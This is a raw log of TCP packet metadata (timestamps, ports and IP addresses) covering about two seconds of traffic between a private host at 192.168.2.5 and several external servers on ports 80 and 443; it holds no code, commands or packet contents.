Nov 24, 2024 23:24:35.816543102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.816616058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.841092110 CET	49825	443	192.168.2.5	23.209.72.40
Nov 24, 2024 23:24:35.841140032 CET	443	49825	23.209.72.40	192.168.2.5
Nov 24, 2024 23:24:35.841312885 CET	49826	443	192.168.2.5	23.209.72.40
Nov 24, 2024 23:24:35.841331005 CET	49825	443	192.168.2.5	23.209.72.40
Nov 24, 2024 23:24:35.841351032 CET	443	49826	23.209.72.40	192.168.2.5
Nov 24, 2024 23:24:35.841401100 CET	49826	443	192.168.2.5	23.209.72.40
Nov 24, 2024 23:24:35.841696024 CET	49826	443	192.168.2.5	23.209.72.40
Nov 24, 2024 23:24:35.841711044 CET	443	49826	23.209.72.40	192.168.2.5
Nov 24, 2024 23:24:35.841801882 CET	49825	443	192.168.2.5	23.209.72.40
Nov 24, 2024 23:24:35.841820955 CET	443	49825	23.209.72.40	192.168.2.5
Nov 24, 2024 23:24:35.852700949 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.853360891 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.853375912 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.853777885 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.853780985 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.906968117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.906985044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.907032967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.907054901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.907449007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.907646894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.907702923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.908926010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.908945084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.908987999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.909234047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.909332991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.955871105 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.955903053 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.955955029 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.955970049 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.956007957 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.956037045 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.971824884 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.971848965 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.971898079 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.971909046 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.971939087 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.971961021 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.974955082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.974998951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.975037098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.975084066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.975408077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.975467920 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.975472927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.975516081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.976574898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.976629972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.976674080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.976762056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.977116108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.977206945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.977410078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.977456093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.977478027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.977525949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.978322029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.978372097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.978460073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.978508949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.979196072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.979243994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.979374886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.979554892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.980066061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.980117083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.980164051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.980257988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.980986118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.980997086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.981040955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.981904984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.981954098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.981980085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.982023001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.982706070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.982772112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.982801914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.982875109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.983588934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.983640909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.983678102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.983722925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.984503031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.984566927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.984590054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.984616995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.985364914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.985383034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.985429049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.986234903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.986274958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.986284971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.986335039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.987123013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.987173080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.987190962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.987236023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.987760067 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.987782001 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.987854004 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.987864017 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.987910986 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.987977028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.988024950 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.988025904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.988064051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.988889933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.988943100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.988960981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.988990068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.989758968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.989808083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.989813089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.989845991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.990645885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.990699053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.990758896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.990926981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.991523027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.991583109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.991641998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.991723061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.992043972 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.992067099 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.992122889 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.992152929 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:35.992172003 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.992286921 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:35.992417097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.992429018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.992475033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.993290901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.993343115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:35.993345976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:35.993383884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.001617908 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.001641989 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.001687050 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.001703978 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.001739979 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.001770020 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.017786026 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.017807961 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.017890930 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.017910957 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.017956018 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.032452106 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.032474041 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.032519102 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.032526016 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.032569885 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.037858963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.044717073 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.044740915 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.044792891 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.044810057 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.044848919 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.044862986 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.069711924 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.075828075 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.075860977 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.076366901 CET	49818	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.076374054 CET	443	49818	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.098957062 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.098989964 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.099010944 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.099100113 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.099100113 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.099117041 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.099174976 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.157257080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.168204069 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.168251038 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.168275118 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.168287992 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.168319941 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.168339968 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.170062065 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.170088053 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.170131922 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.170157909 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.170188904 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.170214891 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.179140091 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.179162979 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.179223061 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.179249048 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.179280043 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.179305077 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.181457996 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.181518078 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.181529045 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.181548119 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.181593895 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.182063103 CET	49814	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.182077885 CET	443	49814	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.191986084 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.192008018 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.192070961 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.192095041 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.192127943 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.192151070 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.204798937 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.204818964 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.204881907 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.204901934 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.204930067 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.204951048 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.216686964 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.216710091 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.216754913 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.216764927 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.216800928 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.216820955 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.225816965 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.225888968 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.225919962 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.225928068 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.225953102 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.225971937 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.227266073 CET	49813	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.227281094 CET	443	49813	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.271011114 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.271034002 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.271085024 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.271100044 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.271137953 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.271177053 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.309322119 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.309511900 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.309588909 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.310991049 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.311041117 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.311058998 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.311078072 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.311120033 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.311120033 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.432449102 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.432501078 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.432555914 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.432569027 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.432621002 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.432621002 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.449456930 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.449456930 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.449479103 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.449493885 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.459403992 CET	49829	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.459427118 CET	443	49829	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.459513903 CET	49829	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.459675074 CET	49829	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.459685087 CET	443	49829	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.460895061 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.460941076 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.460979939 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.460987091 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.461025953 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.461025953 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.486949921 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.486995935 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.487037897 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.487046003 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.487073898 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.487118006 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.498039961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.498112917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.498132944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.498176098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.498486042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.498539925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.498577118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.498616934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.499383926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.499478102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.499525070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.500233889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.500334978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.500377893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.501142025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.501199007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.501553059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.501601934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.502037048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.502083063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.502280951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.502324104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.502919912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.502968073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.503047943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.503093004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.503287077 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.503413916 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.503460884 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.503470898 CET	443	49819	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:36.503483057 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.503550053 CET	49819	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:36.503762007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.503940105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.503953934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.503993034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.504651070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.504693031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.504789114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.504837990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.505522013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.505592108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.505657911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.505695105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.506448030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.506489992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.506493092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.506531954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.507368088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.507421017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.507498980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.507545948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.508184910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.508236885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.508363008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.508436918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.509064913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.509114027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.509587049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.509641886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.509953022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.510006905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.510081053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.510119915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.510833979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.510890961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.510951042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.511003017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.511697054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.511821985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.511956930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.511993885 CET	49760	80	192.168.2.5	185.215.113.206
